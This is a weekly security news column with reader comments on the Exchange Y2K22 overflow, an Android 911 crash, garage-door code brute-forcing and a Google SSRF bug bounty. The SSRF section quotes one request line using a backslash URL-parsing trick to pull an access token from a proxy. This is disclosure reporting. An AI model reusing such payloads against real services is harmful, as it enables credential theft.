This Week In Security: Y2K22, Accidentally Blocking 911, And Bug Alert

If you had the misfortune of running a Microsoft Exchange server this past week, then you don’t need me to tell you about the Y2K22 problem. To catch rest of us up, when Exchange tried to download the first malware definitions update of 2022, the version number of the new definitions triggered a crash in the malware detection engine. The date is represented as the string 2201010001, where the first two digits represent the year. This string gets converted to a signed long integer, which maxes out at 2,147,483,647. The integer overflows, and the result is undefined behavior, crashing the engine. The server fails safe, not processing any messages without a working malware engine, which means that no e-mail gets through. Happy new year!

Android 911 Denial of Service

Dialing 911 for emergency services is pretty much the worst time for a software bug to manifest itself. Google just fixed such a bug in the January Android update. It’s one of those odd unintended app interactions — in this case Microsoft Teams triggering the Android bug. If the Teams app is installed, but no account logged in, Teams creates and registers a new PhoneAccount object on every launch. This sounds like it should be rare, but Teams on Android is also notorious for logging out the user spontaneously. When you dial 911, Android runs a routine to determine which PhoneAccount should be used to route the call, and solves ties by comparing hashes. That comparison is just a naive subtraction, meaning that there’s a 50% chance in getting a negative result. This was unanticipated, leading to the crash.

Garage Door Reverse Engineering

Reverse engineering a 30-year-old wireless authorization scheme may not be the most attention grabbing feat, but sometimes the journey is its own reward. [Maxwell Dulin] brings us the story, and this journey is certainly worth it. The fundamentals of this hack are definitely still viable, starting with looking at the hardware. The garage door is synced to the garage door opener by holding a pushbutton on the receiver while sending a code. Inside the opener, there are nine dip switches, each with three positions. What do they do? He pulled out his trusty SDR to grab the traffic and try to decode the signals. Inspectrum and GNU Radio were the heroes here, giving insight into this simple auth scheme. The conclusion on this actual garage door? You can brute force an unknown code by sending every possible combo, and it only takes 104 minutes.

BugAlert

If you’re a sysadmin, you know that some problems call for immediate action. If you ran Java servers, the Log4J vulnerability was a fire test of your response protocol. The time between public disclosure and whenever you heard about it, may have been enough to trigger disaster. While there are multiple bug reporting services and frameworks, nothing quite fits this niche use case: notifying you as soon as possible that your hair may truly be on fire. That unfilled niche bugged [Matthew Sullivan], who has announced a new project, Bug Alert. It’s all open source, so you can host your own instance if you really want to. You can opt to get a tweet, text, or even phone call. This has the potential to be a useful tool, take a look!

I feel like I need to make Bug Alert trigger a certain Weird Al song…

The Zombie SSRF

[David Schütz] was searching for obscure Google APIs, and discovered jobs.googleapis.com, which you can demo yourself. That demo is interesting, because it’s not a fully fleshed-out service, but talks to the real back-end. The requests go through a proxy, cxl-services.appspot.com, which handles the authentication step for the demo page. If he could trigger a Server-Side Request Forgery (SSRF), he might be able to get at the authenticated requests, and maybe trick the proxy into sending traffic on his behalf. URL parsing is hard. The trick that worked? A backslash in the url. GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1

With an access token in hand, [David] started carefully exploring other Google APIs to see what this token gave him access to. He gives the warning we’ve covered before, be careful how far you push. He could have reported the bug right away, but wanted to confirm that he actually had a live access token. After confirming the token worked for read access, he turned in the finding, and netted a very nice $3133.70, as well as an extra $1000 for a good report and the careful look at lateral movement. That’s all there is to it, right? Nope. Just before the 90 day disclosure deadline passed, [David] discovered a fix bypass. Adding any text between the backslash and @ was enough to break it. Another $3133.70. Just for fun, he probed the old URLs, that shouldn’t be in service after the fix. Yep, he found yet another security token, and netted $3133.70. This Zombie SSRF still isn’t dead, as evidenced on Twitter:

WordPress Update

If you haven’t set your WordPress instance to update automatically, it’s time to go check for the latest version. There are four potentially dangerous issues here, though the details are scarce at this point. First up is a Cross-Site Scripting vulnerability in post slugs, the part of the URL that matches the post name. The second issue mentioned is object injection in some multisite configurations. The last two vulnerabilities are SQL injections, definitely worthy of the “What Year is It?” meme.

45 thoughts on “This Week In Security: Y2K22, Accidentally Blocking 911, And Bug Alert

    1. The best is the solution. To keep incrementing the days, pretending that it’s still 2021 until they can work out a real fix.

      Happy Dec 38, 2021!

      (Note: Workaround expires on Dec 99th.)

      Other questions: Why did they use a signed integer for a date? Is this evidence that MS has a time machine?

    2. It’s only possible if the rot and corruption has also infiltrated quality control, it’s pretty clear that there is almost no QA support for the single most important piece of software on the entire internet. The bug reports look like ones from brand new untested software but the product should be very mature after so many years.

    3. A few years ago HPE Drive fail at 32768 hours without firmware update. Because someone forgot to set integer type and signed integer ended at under 4 years rather than unsigned integer.

      Bugs happen and if there’s no independent examination of codes, bug will go unnoticed until it’s triggered

  1. There’s a lovely variant for the Y2K22 bug that breaks the clock in old Honda GPS systems. My 06 civic now permanently reads Jan 1 1PM 2002. As some one who is annoyed if a clock is even a few minutes out it was a wonderful surprise for the new year.

    1. Yeah, apparently, the value for the date is transmitted in a format where weeks are assigned 10 bits – therefore 0 thru 1023.

      The people who made the system assumed that the people who made the receivers would be able to gracefully handle a once-in-20 years rollover event without ambiguity.

      Apparently, some of them did not read the data sheet

    1. nope. From recollection years assume the roman numeral system (kind of) and the 22 is added to the 2K, realistically it should be MMXXII but that means nothing to a great many people.

  2. Critical services handling like 911 is also a nightmare to test. You can’t do test calls to the real emergency line, and any mocking you might do at any level could potentially mask a bug with really high impact.

    1. It’s pretty standard to make test calls to the real emergency line. Operators know how to handle it. One of my many hats is telecom guy for hotels, and we have to make a 911 test call any time we switch voice providers.

    2. What makes you think you can’t make test calls to the real emergency line? All you have to do is contact them through a non-emergency method and set up a time, then during the test make sure you’re stating that each call is part of the test.

    3. You can totally place test calls to the emergency services.
      It typically starts with “Hi, I’m teaching my [son/daughter/scout pack/first aid course] to make emergency calls. Is now a good time?”

      However, your point stands in this case – it’s hard to see that a test plan would have a test case for “if you’ve got a buggy version of teams for android installed and it crashed recently and you’re not logged in and you roll unlucky, can you place an emergency call?” As realistically even knowing this bug exists you’d need to make a dozen or so calls to confirm it’s gone. Include that in your CI tests and you’ve DOS’d 911!

    4. I would have thought that the moment they answer, state that you’ve just reconfigured a telephone system and are checking that the emergency line is still reachable would suffice.

      The number of times my old Nokia 3310 pocket-dialled 000 (Australia emergency number) or 112 (which is the GSM-standard emergency number), I’ve lost count. The 000 call centre weren’t bothered, just explained the accidental misdial and got off the line. Keypad lock didn’t work here because the Nokia firmware ignores the lock for those numbers, and both those numbers are easily misdialled through pocket-jostling.

  3. Regarding the MS Exchange bug.
    “This string gets converted to a signed long integer”
    Not quite correct and a significant as it points out a major class of bugs of similar type in C/C++ .
    To be specific the culprit integer type was a signed 32 bit integer rather than a signed long integer, which may be 32 bits or greater. Of course in C/C++, int and long are builtin types of varying size dependent on many factors with very loose conversions between each other, so even if you use a typedef specifying the size it is easy to get caught out, as you move between different architectures and compilers/ compiler versions, libraries, compiler settings etc. Worse you may specify a 64 bit int result but which has already been quietly converted to 32 bits in some intermediate step.

    1. That’s why using the stdint.h/ header is a Good Thing. It lets you keep architecture dependency out of your own code, leaving the typedef details to the specific compiler/architecture that you are using. You should still be suspicous of hidden conversions, but the bigger problem is assuming the size of int/short/long/etc. between different architectures and compilers.
      Of course it is still possible that you may get more bits than you asked for on specific weird architectures. And there are times (like loop counters) that I will use plain native “int”, because some architectures could need extra code to enforce smaller sizes, and it feels excessive to specify a size. Architectures where int is smaller than int16_t will be weird oddballs, while int smaller than int32_t is rare outside of small microcontrollers and vintage hardware.

  4. Garage door technology was updated decades ago to eliminate the insecurities of the old 9-bit (512 possibilities) fixed-code transmitters with rolling code (which has its own issues but I digress). Not that there aren’t more than a casual handful of old openers out in the big, bad world (would also apply to gate openers as well as other applications), but this news story is a lot like saying you installed Windows 98 on your PC from the original floppies, disabled any updates from the server (reminder: check if that server is still online), and are surprised when your PC becomes part of a botnet.

    Back in the day there were plenty of geeks setting their remote code to 001101001…

  5. “Teams on Android is also notorious for logging out the user spontaneously”

    Teams on Windows is also notorious for logging out the user spontaneously. Seriously, Microsoft needs to fix the Teams spontaneously logging out the user and requiring Teams to completely restart to log back in. It’s a nightmare for people forced to use Teams for work.

  6. Xilinx Vivado in the FPGA world has a very similar bug in that the date is stored as a 32 bit signed integer. This meant that it would not compile in IP blocks after the computer date changed Dec 31, 2021. Fortunately, it looks like they posted a fix for it. But really, as was asked before, why is it a signed integer?

    1. One reason for using signed rather than unsigned is so you can return a negative number to signify an error condition. I don’t say it is a great idea (especially if you don’t check the return value :0), but it is quite common practice..

Leave a Reply to XCancel reply

Please be kind and respectful to help make the comments section excellent. (Comment Policy)

This site uses Akismet to reduce spam. Learn how your comment data is processed.